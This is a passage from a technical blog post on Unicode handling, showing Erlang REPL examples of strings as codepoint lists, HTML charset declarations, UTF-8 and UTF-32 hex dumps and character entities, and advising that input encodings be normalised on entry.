strings&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-inconvenient-truth&quot; id=&quot;fnref-inconvenient-truth&quot; data-footnote-ref&gt;4&lt;/a&gt;&lt;/sup&gt;.
Instead, a string is a list of numbers; the REPL guesses that a list should be
pretty-printed as a string if they all look like printable ASCII:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-erlang&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;Hello.&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;Hello.&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;72&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;101&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;108&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;111&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;46&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;Hello.&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;lol!  Gnarly!  But seriously, this accidentally becomes great when you start
Unicoding it up like you’re part of the UN:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-erlang&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;S&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;恋は戦争&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;24651&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;12399&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;25126&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;20105&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Huh!?  Well, they’re not printable ASCII, so what &lt;em&gt;are&lt;/em&gt; they?  Let’s translate
those pesky decimals into something humans can read:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-erlang&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;io&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;format&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;~4.16.0b, &amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;N&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; || &lt;span style=&quot;color: #cdd6f4;&quot;&gt;N&lt;/span&gt; &amp;lt;- &lt;span style=&quot;color: #cdd6f4;&quot;&gt;S&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;604&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;306&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6226&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;e89&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;604b&lt;/code&gt;?  &lt;a href=&quot;#604b&quot;&gt;Doesn’t that sound familiar?&lt;/a&gt;.  It’s actually interpreting
each Unicode &lt;em&gt;character&lt;/em&gt; (not each &lt;em&gt;byte&lt;/em&gt;) as its integer codepoint.  That
means all lovely things we want to assume hold true, like length calculation
and substrings:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-erlang&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;S&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;io&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;format&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;~ts~n&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;lists&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;sublist&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;S&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;戦争
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So Erlang provides a pretty good native data-type for storing Unicode
characters; pre-Unicode, we were just storing the numbers of ASCII characters
in a list, so now we just store the numbers of Unicode codepoints instead.&lt;/p&gt;
&lt;p&gt;Unfortunately, the simplicity of &lt;em&gt;entry&lt;/em&gt; does not extend to source files.
D’oh!  The Erlang manual specifies that source must be entered in
&lt;a href=&quot;http://en.wikipedia.org/wiki/ISO/IEC_8859-1&quot;&gt;ISO-8859-1&lt;/a&gt;, also known as
“Latin-1” encoding.  Only the REPL is smart enough to do Unicode.  This is
detailed in &lt;a href=&quot;http://www.erlang.org/doc/apps/stdlib/unicode_usage.html#id62505&quot;&gt;the Erlang manual&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So you could consider that it’s difficult to get Unicode data &lt;em&gt;into&lt;/em&gt;
Erlang—in that you can’t enter it directly into the source—but once you
have it, it’s much more straightforward to manange than with, say, PHP.  The
reality is, most Unicode data in your program will be coming from &lt;em&gt;without&lt;/em&gt;
your program, not within—i.e. user input, API call results, etc.—so this
isn’t as bad as it sounds.&lt;/p&gt;
&lt;p&gt;Erlang doesn’t store metadata about the encoding; it avoids the problem
entirely by letting strings represent Unicode natively.  Once you start sending
or receiving them on the wire, you’ll usually want convert them to or from
binary strings with functions from the
&lt;a href=&quot;http://www.erlang.org/doc/man/unicode.html&quot;&gt;&lt;code&gt;unicode&lt;/code&gt;&lt;/a&gt; module, which provides
helpers for various UTF encodings, and Latin-1.  Once so-converted, the data is
unambiguously opaque … compared with PHP’s “I don’t have a clue &lt;em&gt;what&lt;/em&gt; it is”.&lt;/p&gt;
&lt;h2&gt;HTML&lt;/h2&gt;
&lt;p&gt;This is a huge kludge.&lt;/p&gt;
&lt;p&gt;HTML itself contains a way to declare its own encoding, using a &lt;a href=&quot;http://en.wikipedia.org/wiki/Meta_element&quot;&gt;&lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag&lt;/a&gt;
to declare the &lt;a href=&quot;http://en.wikipedia.org/wiki/MIME#Content-Type&quot;&gt;Content-Type&lt;/a&gt;
of the document.  The issue, if you weren’t paying attention, is that reading
the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag implies you are able to make any sense of the document
whatsoever.  Valid HTML requires the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; to appear within the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;,
i.e. for HTML 5:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;!&lt;/span&gt;doctype html&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  ...
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This isn’t a problem with sane encodings, because they tend to map ASCII
through; but things like UTF-16 and above require the server to declare the
content-type in the HTTP headers; interpreting
&lt;a href=&quot;http://en.wikipedia.org/wiki/UTF-32&quot;&gt;UTF-32&lt;/a&gt; as ASCII leads to madness.&lt;/p&gt;
&lt;p&gt;For comparison’s sake, the layout on disk of the above in UTF-8 (identical to
ASCII here):&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;00000000: 3c21 646f 6374 7970 6520 6874 6d6c 3e0a  &lt;span style=&quot;color: #fab387;&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;!&lt;/span&gt;doctype html&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;00000010: 3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020  &lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;html&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;.&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;.  
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;00000020: 3c6d 6574 6120 6368 6172 7365 743d 2275  &lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;u&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;00000030: 7466 2d38 223e 0a                        tf-8&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;.  ....
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And in UTF-32:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;00000000: 0000 003c 0000 0021 0000 0064 0000 006f  ...&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;...!...d...o
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;00000010: 0000 0063 0000 0074 0000 0079 0000 0070  ...c...t...y...p
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;00000020: 0000 0065 0000 0020 0000 0068 0000 0074  ...e... ...h...t
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;00000030: 0000 006d 0000 006c 0000 003e 0000 000a  ...m...l...&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;....
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;00000040: 0000 003c 0000 0068 0000 0074 0000 006d  ...&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;...h...t...m
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;00000050: 0000 006c 0000 003e 0000 000a 0000 003c  ...l...&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;.......&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;00000060:&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0068&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0065&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0061&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0064&lt;/span&gt;  &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;...h...e...a...d&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;00000070:&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;003e&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;000a&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0020&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0000&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;0020&lt;/span&gt;  &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;....... ... 
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;00000080: 0000 003c 0000 006d 0000 0065 0000 0074  ...&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;...m...e...t
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;...
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(it goes on like this)&lt;/p&gt;
&lt;p&gt;Triples of &lt;code&gt;NUL&lt;/code&gt;-bytes separating everything!  This is UTF-32’s grand plan to
support everything without variable-width encoding, meaning operations like
string length, slicing and substring matching could be done fairly
cheaply&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-utf-32-clusterfuck&quot; id=&quot;fnref-utf-32-clusterfuck&quot; data-footnote-ref&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;In these cases you should be ensuring the server sends the correct
&lt;code&gt;Content-Type&lt;/code&gt;, implying the server has a clue—and if you’re lucky, enough
users’ browsers will guess.&lt;/p&gt;
&lt;p&gt;This could be considered a non-solution.&lt;/p&gt;
&lt;p&gt;The other thing HTML brings to the table, via SGML, is character entity
references, giving you the ability to &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references&quot;&gt;refer to any Unicode character by
codepoint&lt;/a&gt;.
This doesn’t make for happy editing, but it does mean that HTML can &lt;em&gt;represent&lt;/em&gt;
arbitrary Unicode characters even when the HTML itself is ASCII, for instance.&lt;/p&gt;
&lt;h2&gt;Representing Unicode characters&lt;/h2&gt;
&lt;p&gt;This is an important concept.  In HTML, one can enter:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;#x604b;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;#x306f;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;#x6226;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;#x4e89;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And get this in their browser:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/koihasensou-utf8.png&quot; alt=&quot;The text “恋は戦争”.&quot; /&gt;&lt;!-- Yes, I&#39;m reusing this
image. --&gt;&lt;/p&gt;
&lt;p&gt;This is without any other markup or declaration of encoding; we’re telling the
browser to render the characters by Unicode codepoint directly.  This is
equivalent to entering them into a list in Erlang source directly:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-erlang&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;16#604b&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;16#306f&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;16#6226&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;16#4e89&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s important to make clear a distinction here, however: HTML is &lt;em&gt;markup&lt;/em&gt;, and
Erlang is a &lt;em&gt;programming language&lt;/em&gt;.  HTML gives you an escape route to render a
given codepoint, which is good, but what we’re talking about when we talk about
Erlang is actually an &lt;strong&gt;internal representation&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is what I’m more interested in, so I’ll put HTML to the side for now.&lt;/p&gt;
&lt;p&gt;When data enters your Erlang program, it’s most likely going to be encoded in
some form; whichever service receives that data is responsible for making sense
of it.  Imagine you’re writing a webserver: people might submit forms in UTF-8,
UTF-16, Shift JIS, Latin-1, whatever.  No matter what you’re doing with that
data—you might be spitting it right back in the response; hacking it up into
pieces; storing in a database, maybe for later hacking—you need to normalise
the format of the data &lt;em&gt;while you still know what format it’s in&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If you’re coding in PHP and you receive a string full of bits, if you throw
that into a database without noting the encoding
&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-whose-encoding-is-it-anyway&quot; id=&quot;fnref-whose-encoding-is-it-anyway&quot; data-footnote-ref&gt;6&lt;/a&gt;&lt;/sup&gt;, you’ve permanently lost the ability to say for
sure what the data actually is.&lt;/p&gt;
&lt;p&gt;The solution, then, is to normalise the data at the point of entry, once, and
to normalise it into an &lt;em&gt;internal format&lt;/em&gt; that makes sense.  In Erlang, you
might store a string as a codepoint list.  In PHP, you’ve little option but to
normalise it to another encoding like UTF-8, and to decide that UTF-8 &lt;em&gt;is&lt;/em&gt; the
internal format for textual data.&lt;/p&gt;
&lt;h2&gt;Check your blindspots&lt;/h2&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; fall into the trap of saying “well, I know my users will only enter
Latin-1 data, which happens to be the default, so I’ll just save that and print
that.”  Guess what?  That’s what most of Japan said when they decided to use
Shift JIS.  Except for those who used ISO-2022-JP.  Or EUC-JP.  Good luck to
most of these people when people from other countries start submitting data.&lt;/p&gt;
&lt;p&gt;If you won’t listen to me, listen to the experience of the top 25 Japanese
websites according to Alexa.  &lt;a href=&quot;http://www.webmasterworld.com/printerfriendlyv5.cgi?forum=32&amp;amp;discussion=3373673&amp;amp;serial=3376486&amp;amp;user=&quot;&gt;A forum post from
mid-2007&lt;/a&gt;
detailed 10 of them using UTF-8.  When I check the other 15, 8 have moved to
